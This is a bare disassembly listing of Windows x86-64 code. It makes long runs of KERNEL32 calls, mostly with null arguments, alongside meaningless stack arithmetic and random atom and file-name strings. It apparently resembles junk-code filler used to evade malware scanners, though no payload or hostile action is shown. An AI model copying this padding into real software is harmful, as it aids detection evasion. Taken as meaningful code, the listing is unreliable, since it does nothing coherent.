xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rcx, qword [rsp + 0xb9f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b5c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rcx, [0x140234660]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1630], ax
mov rax, qword [rsp + 0xba70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb3e0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x980], ax
lea rcx, [rsp + 0x1a948]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa288]
mov rax, qword [rax]
mov qword [rsp + 0xbf08], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rdx, [rsp + 0xbf10]
mov rcx, qword [rsp + 0xaac0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4fd0], eax
movzx ecx, word [rsp + 0x1190]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13c4], ax
mov rax, qword [rsp + 0xac50]
mov rcx, qword [rsp + 0xa6d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xaaf8], rax
lea rcx, [rsp + 0x1a468]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
lea rcx, str.AHA53WfRl7H
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1634], ax
mov rcx, qword [rsp + 0xaa18]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x4e54]
mov dword [rsp + 0x5058], eax
movsx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0x9680]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x223], al
lea rcx, [rsp + 0xbd20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, 0xbaa
mov rcx, qword [rsp + 0xb608]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x505c], eax
movsx eax, word [rsp + 0xe3c]
movsx ecx, word [rsp + 0x148c]
or eax, ecx
mov rcx, qword [rsp + 0xbd60]
mov word [rcx], ax
mov rax, qword [rsp + 0xabe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ae]
imul eax, ecx
mov byte [rsp + 0x233], al
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0xf68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1248], ax
lea rcx, [rsp + 0x1aa38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x22ce0], 0x11c
lea rax, [rsp + 0x5014]
mov qword [0x14024f000], rax
mov rax, qword [rsp + 0x80a8]
mov rcx, qword [rsp + 0xa3d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8868], rax
movzx ecx, word [rsp + 0x1368]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf14], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rcx, [rsp + 0x1ae88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movzx eax, word [rsp + 0x126c]
mov word [rsp + 0x1638], ax
lea rcx, [rsp + 0xa078]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9910], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0xb080]
mov rcx, qword [rsp + 0x9868]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa498]
mov qword [rcx], rax
mov edx, 0x15bc
mov rcx, qword [rsp + 0xb678]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4be8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.MrUfDKU9DAo6yP1xjFnQmnBclq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbf18], rax
mov rax, qword [rsp + 0xad30]
mov rcx, qword [rsp + 0xa0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a88], eax
lea rdx, [rsp + 0x8d40]
mov rcx, qword [rsp + 0xbe90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d08], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1e33
mov r9d, 0x1774
mov r8d, 0x71ef48d9
mov edx, 2
mov rcx, qword [rsp + 0xbd30]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x5060], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
lea rax, [rsp + 0x292]
mov qword [rsp + 0xbf20], rax
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0xbc58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f34], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xad50], rax
mov rax, qword [rsp + 0xb7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x63c]
imul eax, ecx
mov word [rsp + 0x818], ax
mov rcx, qword [rsp + 0xb280]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4ebc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbf28], rax
mov dword [rsp + 0x20], 0x317a
mov r9d, 0x2a0f
mov r8d, 0x1fb7
mov edx, 0xc21
mov rcx, qword [rsp + 0x9ea8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4ccc], eax
movzx eax, byte [rsp + 0x2d7]
mov rcx, qword [0x14024f040]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x28c], al
lea rdx, [rsp + 0xbf30]
mov rcx, qword [rsp + 0xa8b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ba0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa748], rax
mov rax, qword [rsp + 0xb670]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa060]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022fb98], ax
mov rax, qword [rsp + 0x8848]
mov rcx, qword [rsp + 0x7e30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba60]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa548], rax
mov rcx, qword [rsp + 0xbd78]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x14024f0f8]
mov dword [rsp + 0x5064], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbf38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rcx, qword [rsp + 0xad78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4958], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20220]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x5068], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa690], rax
movzx eax, word [rsp + 0x157c]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10a4], ax
mov rax, qword [rsp + 0xa838]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ab]
sub eax, ecx
mov byte [rsp + 0x217], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x213a
mov r9d, 0x2ba
mov r8d, 0x1d8aeba6
mov edx, 2
mov rcx, qword [rsp + 0x9da8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4900], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbf40], rax
mov rcx, qword [rsp + 0xb0a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c1c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x95a8], rax
lea rcx, [rsp + 0x9c10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x250]
movsx ecx, byte [rsp + 0xd6]
sar eax, cl
mov byte [rsp + 0x2b6], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbf48], rax
mov rcx, qword [rsp + 0xa0e0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 0x1f7b
xor r8d, r8d
lea rdx, [rsp + 0xb8e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d78], eax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
mov word [rsp + 0x163c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x42dc]
shl eax, cl
mov dword [rsp + 0x4c9c], eax
lea rcx, str.EUSvq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1640], ax
mov rax, qword [rsp + 0x9560]
mov rcx, qword [rsp + 0x8230]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8138], rax
lea rax, [rsp + 0x15a4]
mov qword [rsp + 0xbf50], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx ecx, word [rsp + 0x139c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x155c], ax
lea rax, [rsp + 0x49e8]
mov qword [0x14024eff8], rax
mov rax, qword [rsp + 0xb588]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28f]
or eax, ecx
mov byte [rsp + 0x2cf], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8538]
mov qword [rsp + 0xbf58], rax
mov rax, qword [rsp + 0xac50]
mov rcx, qword [rsp + 0xb660]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xb2a0], rax
lea rdx, [rsp + 0xae48]
mov rcx, qword [rsp + 0x9fa0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b4c], eax
movsx eax, word [rsp + 0x15b4]
mov rcx, qword [rsp + 0xb918]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1218], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rax, [rsp + 0x4cd8]
mov qword [rsp + 0xbf60], rax
lea rcx, str.mYMc.A9w
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1644], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xba00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a8]
add eax, ecx
mov byte [rsp + 0x275], al
movzx eax, byte [0x14022103f]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fb], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9c70], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx eax, word [rsp + 0x13a4]
mov rcx, qword [rsp + 0x9520]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf0c], ax
mov eax, dword [rsp + 0x46a0]
mov ecx, dword [rsp + 0x469c]
sub ecx, eax
mov eax, ecx
mov dword [0x14022fb88], eax
movzx ecx, word [rsp + 0x14fc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1648], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rcx, [rsp + 0x22860]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x5060], eax
lea rcx, [rsp + 0x1aa68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1370]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x161c], ax
mov rax, qword [rsp + 0xaee8]
mov rcx, qword [rsp + 0x7e78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa6d8]
mov qword [rcx], rax
lea rcx, [rsp + 0x1adf8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0xb3b8]
mov qword [rsp + 0xbf68], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbf70], rax
mov r9d, 1
lea r8, [rsp + 0xa4a0]
mov rdx, qword [rsp + 0xba58]
mov rcx, qword [rsp + 0x9b58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ee8], eax
movzx ecx, word [rsp + 0x12d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x164c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb030], rax
mov rax, qword [0x14024f060]
movzx eax, byte [rax]
imul eax, eax, 0x46
mov rcx, qword [rsp + 0xaf10]
mov byte [rcx], al
lea rdx, [rsp + 0xa3f8]
mov rcx, qword [rsp + 0x9c08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ce4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbf78], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d38], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov edx, 0x15fd
mov rcx, qword [rsp + 0xa0e0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x506c], eax
movzx ecx, word [rsp + 0x14e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11ec], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rcx, [rsp + 0xbf80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 0x164c
xor r8d, r8d
lea rdx, [rsp + 0xa218]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d58], eax
lea rcx, [rsp + 0x1aa98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.HCmnB_6aIeZ6N.ZQguiBFz
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1520], ax
lea rax, [rsp + 0xf74]
mov qword [rsp + 0xbf88], rax
mov eax, dword [rsp + 0x4df4]
mov ecx, dword [rsp + 0x44d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4204], eax
mov rax, qword [rsp + 0xaca8]
mov rcx, qword [rsp + 0xb628]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3b0]
mov qword [rcx], rax
lea rcx, [rsp + 0xbf90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0x14c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef4], ax
mov rcx, qword [rsp + 0xb398]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rcx, [rsp + 0x1aeb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, 0xa2a
mov rcx, qword [rsp + 0x9e60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4fdc], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4aac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x21d20]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f0c], eax
lea rcx, [rsp + 0xbf98]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9c70], rax
lea rdx, [rsp + 0x9b08]
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ff4], eax
lea rax, [rsp + 0x154]
mov qword [rsp + 0xbfa0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0xa490]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xbeb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1408]
sub eax, ecx
mov rcx, qword [rsp + 0xb250]
mov word [rcx], ax
lea rax, [0x14024f0a0]
mov qword [0x14024eff0], rax
movzx eax, byte [rsp + 0x2ef]
mov byte [rsp + 0x2f1], al
mov rax, qword [rsp + 0xb470]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4290], eax
mov eax, dword [rsp + 0x4a88]
movzx ecx, al
mov eax, dword [rsp + 0x4da0]
shl eax, cl
mov dword [rsp + 0x400c], eax
movzx ecx, word [rsp + 0x1568]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1404], ax
mov rcx, qword [rsp + 0xad80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x1258]
movsx ecx, word [rsp + 0x714]
xor eax, ecx
mov word [rsp + 0x13f4], ax
lea rcx, str.xFOO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1650], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x208e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a50], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov eax, dword [rsp + 0x5018]
mov rcx, qword [rsp + 0xa930]
mov qword [rsp + 0xbfa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfa8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov r9d, 0x35d
xor r8d, r8d
lea rdx, [rsp + 0xa4d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x5070], eax
lea rcx, [rsp + 0x1ae58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0xd6]
mov byte [rsp + 0x2f2], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
lea rcx, [rsp + 0x1a858]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0xa628]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xab18]
mov word [rcx], ax
mov rax, qword [rsp + 0xb548]
mov eax, dword [rax]
mov dword [rsp + 0x5074], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbfb0], rax
lea rcx, [rsp + 0x1adf8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movzx eax, byte [rsp + 0x2bb]
movzx ecx, byte [rsp + 0x170]
cdq
idiv ecx
mov byte [0x14024f370], al
mov rax, qword [rsp + 0xb168]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb490]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xabc8]
mov qword [rcx], rax
lea rcx, [rsp + 0xa1c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x218a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x5078], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx ecx, word [rsp + 0x12a8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1264], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x16dd
mov r9d, 0x18fd
mov r8d, 0xf6b1d621
mov edx, 2
mov rcx, qword [rsp + 0xaa00]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x507c], eax
mov rax, qword [rsp + 0x9548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bc8], rax
lea rcx, str.i7Becr_QH.BXE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1588], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [rsp + 0xb828]
mov qword [rsp + 0xbfb8], rax
mov dword [rsp + 0x20], 0x1a14
mov r9d, 0x26cf
mov r8d, 0x2cff
mov edx, 0x3f2f
mov rcx, qword [rsp + 0xb700]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4db0], eax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0xb548]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa2c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xace8]
mov rcx, qword [rsp + 0xa128]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8770], rax
mov dword [rsp + 0x22e00], 0x11c
mov rax, qword [rsp + 0xaab8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb570]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0a0]
mov word [rcx], ax
movzx ecx, word [rsp + 0xfbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x156c], ax
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x14022fb68]
mov ecx, dword [rsp + 0x3eb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44ec], eax
lea rcx, str.V2Hknj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13c8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x2b1]
mov qword [rsp + 0xbfc0], rax
movzx eax, word [rsp + 0x704]
mov rcx, qword [rsp + 0x9858]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x14022fb84], ax
mov rax, qword [rsp + 0xacf0]
movzx eax, byte [rax]
mov rcx, qword [0x14024f0e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x100], al
xor r9d, r9d
lea r8, [rsp + 0xaa38]
mov rdx, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0x95d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ae8], eax
lea rax, [rsp + 0x10bc]
mov qword [rsp + 0xbfc8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x2e0]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x280], al
mov rcx, qword [rsp + 0x8cd8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4f58], eax
lea rax, [rsp + 0x4ae4]
mov qword [rsp + 0xbfd0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x9e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb618]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a8], al
lea rcx, str.jLcb3b_Iocwt_Hot
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14d0], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbfd8], rax
movzx ecx, word [rsp + 0x1458]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x114c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb9a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb88]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb240], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbfe0], rax
mov r9d, 1
lea r8, [rsp + 0xaa90]
mov rdx, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0xa0b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c10], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rax, [rsp + 0xef0]
mov qword [rsp + 0xbfe8], rax
mov rax, qword [rsp + 0xbe58]
mov rcx, qword [rsp + 0x8040]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xab08]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbff0], rax
lea rax, [rsp + 0x12dc]
mov qword [0x14024efe8], rax
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x2f3], al
mov qword [rsp + 0x20], 0
mov r9d, 0x1250
mov r8d, 0x138
mov edx, 0x25
mov rcx, qword [rsp + 0xb088]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4c3c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb210], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.a2lfUffx4EwAHl_tr0LAAS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbff8], rax
mov eax, dword [rsp + 0x4b80]
movzx ecx, al
mov eax, dword [rsp + 0x4ecc]
shr eax, cl
mov rcx, qword [rsp + 0xaee0]
mov dword [rcx], eax
